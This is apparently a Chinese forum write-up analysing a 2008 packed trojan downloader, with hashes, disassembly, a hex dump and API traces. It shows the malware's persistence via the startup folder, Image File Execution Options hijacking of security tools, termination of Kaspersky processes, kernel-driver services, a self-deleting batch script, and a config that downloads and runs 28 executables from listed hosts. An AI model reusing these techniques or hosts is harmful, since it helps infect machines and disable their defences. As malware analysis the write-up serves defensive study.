引用:
文件: C:\ogame.exe
大小: 14954 字节
修改时间: 2008年3月17日, 21:48:50
MD5: 77B6D8FA25EF0BE3ACED5C31BCEC35FE
SHA1: E0E60D7D6A67A4486FAF42A7BAA690F1D5C4B401
CRC32: 20D1CBD2
加壳方式：NsPacK V3.7 -> LiuXingPing *
编写语言：Microsoft Visual C++ 6.0 - 8.0
1,拷贝一份放到C:\Documents andSettings\All Users\「开始」菜单\程序\启动. 并命名为 Display3D.exe
2,通过映象挟持包括KPFW32.exe在内的绝大多数安全软件
3,通过URLDownloadToFileA 根据h**p://www.qisihuisheng.net/new.txt 下载 1-28个exe文件
4,通过进程枚举结束卡巴的进程（avp.com？）
【一，读取
病毒的一些数据吧 ^_^】
复制内容到剪贴板
代码:
00401000 > 81EC 1C070000 sub esp, 71C
00401006 55 push ebp
00401007 56 push esi
00401008 57 push edi
00401009 B9 0E000000 mov ecx, 0E
0040100E BE C88E4000 mov esi, 00408EC8 ;读取数据？
00408EC8 43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 C:\Documents and
00408ED8 20 53 65 74 74 69 6E 67 73 5C 41 6C 6C 20 55 73 Settings\All Us
00408EE8 65 72 73 5C A1 B8 BF AA CA BC A1 B9 B2 CB B5 A5 ers\「开始」菜单
00408EF8 5C B3 CC D0 F2 5C C6 F4 B6 AF 00 00 5C 5C 2E 5C \程序\启动..\\.\
00408F08 43 3A 00 00 5C 5C 2E 5C 48 50 44 49 53 4B 00 00 C:..\\.\HPDISK..
00408F18 63 3A 5C 25 73 00 00 00 5F 75 6E 69 6E 73 65 70 c:\%s..._uninsep
00408F28 2E 62 61 74 00 00 00 00 3A 52 65 70 65 61 74 0D .bat....:Repeat.
00408F38 0A 64 65 6C 20 22 25 73 22 0D 0A 69 66 20 65 78 .del "%s"..if ex
00408F48 69 73 74 20 22 25 73 22 20 67 6F 74 6F 20 52 65 ist "%s" goto Re
00408F58 70 65 61 74 0D 0A 00 00 44 65 62 75 67 67 65 72 peat....Debugger
00408F68 00 00 00 00 53 4F 46 54 57 41 52 45 5C 4D 69 63 ....SOFTWARE\Mic
00408F78 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 20 4E rosoft\Windows N
00408F88 54 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E T\CurrentVersion
00408F98 5C 49 6D 61 67 65 20 46 69 6C 65 20 45 78 65 63 \Image File Exec
00408FA8 75 74 69 6F 6E 20 4F 70 74 69 6F 6E 73 00 00 00 ution Options...
00408FB8 6E 74 73 64 20 2D 64 00 25 73 5C 25 64 2E 65 78 ntsd -d.%s\%d.ex
00408FC8 65 00 00 00 25 64 00 00 25 73 5C 75 70 64 61 74 e...%d..%s\updat
00408FD8 61 78 2E 65 78 65 00 00 55 52 4C 00 4E 45 57 56 ax.exe..URL.NEWV
00408FE8 45 52 53 49 4F 4E 00 00 32 30 30 38 2D 32 2D 33 ERSION..2008-2-3
00408FF8 00 00 00 00 4D 41 49 4E 00 00 00 00 56 45 52 53 ....MAIN....VERS
00409008 49 4F 4E 00 5C 57 49 4E 2E 49 4E 49 00 00 00 00 ION.\WIN.INI....
00409018 55 52 4C 44 6F 77 6E 6C 6F 61 64 54 6F 46 69 6C URLDownloadToFil
00409028 65 41 00 00 55 72 6C 6D 6F 6E 2E 64 6C 6C 00 00 eA..Urlmon.dll..
00409038 44 65 6C 65 74 65 55 72 6C 43 61 63 68 65 45 6E DeleteUrlCacheEn
00409048 74 72 79 00 57 69 6E 69 6E 65 74 2E 64 6C 6C 00 try.Wininet.dll.【二，如果已经存在 Display3D.exe则先delete然后复制自身并命名为Display3D.exe，并通过CreateProcessA创建一个进程，通过_uninsep.bat删除自身，然后退出进程】
复制内容到剪贴板
代码:
00401146 /75 5A jnz short 004011A2 ; if z=1 deletefile and
00401148 |8D4C24 0C lea ecx, dword ptr [esp+C]
0040114C |51 push ecx
0040114D |FF15 30304000 call dword ptr [<&KERNEL32.DeleteFile>; KERNEL32.DeleteFileA
00401153 |8D5424 0C lea edx, dword ptr [esp+C]
00401157 |6A 00 push 0
00401159 |8D8424 20040000 lea eax, dword ptr [esp+420]
00401160 |52 push edx
00401161 |50 push eax
00401162 |FF15 2C304000 call dword ptr [<&KERNEL32.CopyFileA>>; KERNEL32.CopyFileA
0012F890 0012FCB8 |ExistingFileName = "C:\DOCUME~1\ADMINI~1\",D7,"烂鎈ogameun_.exe"
0012F894 0012F8A8 |NewFileName = "C:\DOCUME~1\ALLUSE~1\",A1,"",B8,"开始~1\程序\启",B6,"痋
Display3D.exe"
0012F898 00000000 \FailIfExists = FALSE
00401168 8B3D 28304000 mov edi, dword ptr [<&KERNEL32.Globa>; KERNEL32.GlobalAlloc
0040116E 6A 44 push 44
00401170 6A 40 push 40
00401172 FFD7 call edi
00401174 6A 10 push 10
00401176 6A 40 push 40
00401178 8BF0 mov esi, eax
0040117A FFD7 call edi
0040117C 50 push eax
0040117D 56 push esi
0040117E 6A 00 push 0
00401180 6A 00 push 0
00401182 6A 00 push 0
00401184 6A 00 push 0
00401186 6A 00 push 0
00401188 6A 00 push 0
0040118A 8D4C24 2C lea ecx, dword ptr [esp+2C]
0040118E 6A 00 push 0
00401190 51 push ecx
00401191 C706 04000000 mov dword ptr [esi], 4
00401197 FF15 24304000 call dword ptr [<&KERNEL32.CreateProc>; KERNEL32.CreateProcessA
0012F874 0012F8A8 |ModuleFileName = "C:\DOCUME~1\ALLUSE~1\",A1,"",B8,"开始~1\程序\启",B6,"痋
Display3D.exe"
0012F878 00000000 |CommandLine = NULL
0012F87C 00000000 |pProcessSecurity = NULL
0012F880 00000000 |pThreadSecurity = NULL
0012F884 00000000 |InheritHandles = FALSE
0012F888 00000000 |CreationFlags = 0
0012F88C 00000000 |pEnvironment = NULL
0012F890 00000000 |CurrentDir = NULL
0012F894 001349F0 |pStartupInfo = 001349F0
0012F898 0013C5C8 \pProcessInfo = 0013C5C8
0040119D /E9 BE010000 jmp 00401360
00401360 E8 1B060000 call 00401980 ; ._uninsep.bat
00401365 6A 00 push 0
00401367 FF15 98304000 call dword ptr [<&KERNEL32.GetCurrent>; KERNEL32.GetCurrentProcess
0040136D 50 push eax
0040136E FF15 A0304000 call dword ptr [<&KERNEL32.TerminateP>; KERNEL32.TerminateProcess【三，当Display3D.exe不存在当时候，释放usbcams3.sys 创建名为sc manager的服务 ；释放usbhcid.sys，创建名为iCafe Manager的服务】
复制内容到剪贴板
代码:
004011A7 8D9424 20050000 lea edx, dword ptr [esp+520] ; (ASCII
"C:\RG60Plus\Temp\usbcams3.sys")
004011AE 53 push ebx
004011AF 52 push edx
004011B0 50 push eax
004011B1 68 287B4000 push 00407B28
004011B6 E8 D5010000 call 00401390 ; 释放一个驱动usbcams3.sys
004011BB 68 988E4000 push 00408E98 ; sc manager
004011C0 8D8C24 34050000 lea ecx, dword ptr [esp+534]
004011C7 68 988E4000 push 00408E98 ; sc manager
004011CC 51 push ecx
004011CD E8 2E020000 call 00401400 ; creteservices
004011D2 83C4 18 add esp, 18
【创建服务的代码】
00401400 53 push ebx
00401401 56 push esi
00401402 57 push edi
00401403 68 3F000F00 push 0F003F
00401408 6A 00 push 0
0040140A 6A 00 push 0
0040140C FF15 00304000 call dword ptr [<&ADVAPI32.OpenSCMana>; ADVAPI32.OpenSCManagerA
00401412 8BF0 mov esi, eax
00401414 85F6 test esi, esi
00401416 75 04 jnz short 0040141C
00401418 5F pop edi
00401419 5E pop esi
0040141A 5B pop ebx
0040141B C3 retn
0040141C 8B5C24 10 mov ebx, dword ptr [esp+10] ；驱动路径
00401420 6A 00 push 0
00401422 8B4424 1C mov eax, dword ptr [esp+1C] ；驱动名
00401426 6A 00 push 0
00401428 8B7C24 1C mov edi, dword ptr [esp+1C]
0040142C 6A 00 push 0
0040142E 6A 00 push 0
00401430 6A 00 push 0
00401432 53 push ebx
00401433 6A 00 push 0
00401435 6A 03 push 3
00401437 6A 01 push 1
00401439 68 FF010F00 push 0F01FF
0040143E 50 push eax
0040143F 57 push edi
00401440 56 push esi
00401441 FF15 04304000 call dword ptr [<&ADVAPI32.CreateServ>; ADVAPI32.CreateServiceA
0012F83C 0013E350 |hManager = 0013E350
0012F840 00408E98 |ServiceName = "Sc Manager"
0012F844 00408E98 |DisplayName = "Sc Manager"
0012F848 000F01FF |DesiredAccess = SERVICE_ALL_ACCESS
0012F84C 00000001 |ServiceType = SERVICE_KERNEL_DRIVER
0012F850 00000003 |StartType = SERVICE_DEMAND_START
0012F854 00000000 |ErrorControl = SERVICE_ERROR_IGNORE
0012F858 0012FDBC |BinaryPathName = "C:\RG60Plus\Temp\usbcams3.sys"
0012F85C 00000000 |LoadOrderGroup = NULL
0012F860 00000000 |pTagId = NULL
0012F864 00000000 |pDependencies = NULL
0012F868 00000000 |ServiceStartName = NULL
0012F86C 00000000 \Password = NULL
0012F82C 0013D3F8 |hManager = 0013D3F8
0012F830 00408E88 |ServiceName = "iCafe Manager"
0012F834 00408E88 |DisplayName = "iCafe Manager"
0012F838 000F01FF |DesiredAccess = SERVICE_ALL_ACCESS
0012F83C 00000001 |ServiceType = SERVICE_KERNEL_DRIVER
0012F840 00000003 |StartType = SERVICE_DEMAND_START
0012F844 00000000 |ErrorControl = SERVICE_ERROR_IGNORE
0012F848 0012FEC0 |BinaryPathName = "C:\RG60Plus\Temp\usbhcid.sys"
0012F84C 00000000 |LoadOrderGroup = NULL
0012F850 00000000 |pTagId = NULL
0012F854 00000000 |pDependencies = NULL
0012F858 00000000 |ServiceStartName = NULL
0012F85C 00000000 \Password = NULL
【打开服务，启动服务 删除文件？】
0040146C 68 FF010F00 push 0F01FF
00401471 57 push edi
00401472 56 push esi
00401473 FF15 0C304000 call dword ptr [<&ADVAPI32.OpenServic>; ADVAPI32.OpenServiceA
00401479 85C0 test eax, eax
0040147B 75 0D jnz short 0040148A
0040147D 56 push esi
0040147E FF15 08304000 call dword ptr [<&ADVAPI32.CloseServi>; ADVAPI32.CloseServiceHandle
00401484 5F pop edi
00401485 5E pop esi
00401486 33C0 xor eax, eax
00401488 5B pop ebx
00401489 C3 retn
0040148A 6A 00 push 0
0040148C 6A 00 push 0
0040148E 50 push eax
0040148F FF15 10304000 call dword ptr [<&ADVAPI32.StartServi>; ADVAPI32.StartServiceA
00401495 53 push ebx
00401496 FF15 30304000 call dword ptr [<&KERNEL32.DeleteFile>; KERNEL32.DeleteFileA
【写文件到yyy2不知道干嘛 cyto说是破坏还原 不清楚 ^_^】
0012F734 0012F75C |FileName = "\\.\yyy2"
0012F738 C0000000 |Access = GENERIC_READ|GENERIC_WRITE
0012F73C 00000003 |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
0012F740 00000000 |pSecurity = NULL
0012F744 00000003 |Mode = OPEN_EXISTING
0012F748 00000000 |Attributes = 0
0012F74C 00000000 \hTemplateFile = NULL【四，分别创建线程来完成映象挟持安全软件，根据txt文件下载病毒文件，通过进程结束卡巴进程的】
复制内容到剪贴板
代码:
【创建线程】
004011D5 8B2D 50304000 mov ebp, dword ptr [<&KERNEL32.Creat>; KERNEL32.CreateThread
004011DB 6A 00 push 0
004011DD 6A 00 push 0
004011DF 6A 00 push 0
004011E1 68 B01F4000 push 00401FB0
004011E6 6A 00 push 0
004011E8 6A 00 push 0
004011EA FFD5 call ebp ；创建线程枚举进程来结束avp.com进程
004011EC 6A 00 push 0
004011EE 6A 00 push 0
004011F0 6A 00 push 0
004011F2 68 601C4000 push 00401C60
004011F7 6A 00 push 0
004011F9 6A 00 push 0
004011FB FFD5 call ebp ; 创建线程用于修改注册表（写入映像
挟持）
00401203 68 30750000 push 7530 ; 30000 ms
00401208 FFD6 call esi ; sleep
0040134B 6A 00 push 0
0040134D 6A 00 push 0
0040134F 6A 00 push 0
00401351 68 201D4000 push 00401D20
00401356 6A 00 push 0
00401358 6A 00 push 0
0040135A FFD5 call ebp ; 创建线程根据txt文件下载病毒文件
h**p://www.qisihuisheng.net/new.txt
[MAIN]
VERSION=2008-2-3
[URL]
1=h**p://66.186.34.138/1.exe
2=h**p://66.186.34.138/2.exe
3=h**p://66.186.34.138/3.exe
4=h**p://66.186.34.138/4.exe
5=h**p://66.186.34.138/5.exe
6=h**p://66.186.34.138/6.exe
7=h**p://66.186.37.130/7.exe
8=h**p://66.186.37.130/8.exe
9=h**p://66.186.37.130/9.exe
10=h**p://66.186.37.130/10.exe
11=h**p://66.186.37.130/11.exe
12=h**p://66.186.37.130/12.exe
13=h**p://67.43.158.42/13.exe
14=h**p://67.43.158.42/14.exe
15=h**p://67.43.158.42/15.exe
16=h**p://67.43.158.42/16.exe
17=h**p://67.43.158.42/17.exe
18=h**p://67.43.158.42/18.exe
19=h**p://67.43.158.42/19.exe
20=h**p://67.43.158.42/20.exe
21=h**p://67.43.158.42/21.exe
22=h**p://67.43.158.42/22.exe
23=h**p://67.43.158.42/23.exe
24=h**p://67.43.158.42/24.exe
25=h**p://67.43.158.42/25.exe
26=h**p://67.43.158.42/26.exe
27=h**p://67.43.158.42/27.exe
28=h**p://67.43.158.42/28.exe
进程：
路径： C:\Documents and Settings\Administrator\桌面\ogameun_.exe
PID: 692
注册表群组： System
对象：
注册表键： HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\Image File Execution Options\KPFW32.exe【五，检查互斥体SH0FJ_NET_PSOFJEIF__FJE3345FEF_HM。如果不存在就创建一个互斥体 】
复制内容到剪贴板
代码:
00401318 68 588E4000 push 00408E58 ; sh0fj_net_psofjeif__fje3345fef_hm
0040131D 6A 00 push 0
0040131F 68 01001F00 push 1F0001
00401324 FF15 90304000 call dword ptr [<&KERNEL32.OpenMutexA>; KERNEL32.OpenMutexA
0040132A 85C0 test eax, eax
0040132C 5B pop ebx
0040132D 75 36 jnz short 00401365
0040132F 8D4424 0C lea eax, dword ptr [esp+C]
00401333 50 push eax
00401334 E8 170E0000 call 00402150 ；创建进程Display3D.exe
00401339 83C4 04 add esp, 4
0040133C 68 588E4000 push 00408E58 ; sh0fj_net_psofjeif__fje3345fef_hm
00401341 6A 00 push 0
00401343 6A 00 push 0
00401345 FF15 94304000 call dword ptr [<&KERNEL32.CreateMute>; KERNEL32.CreateMutexA
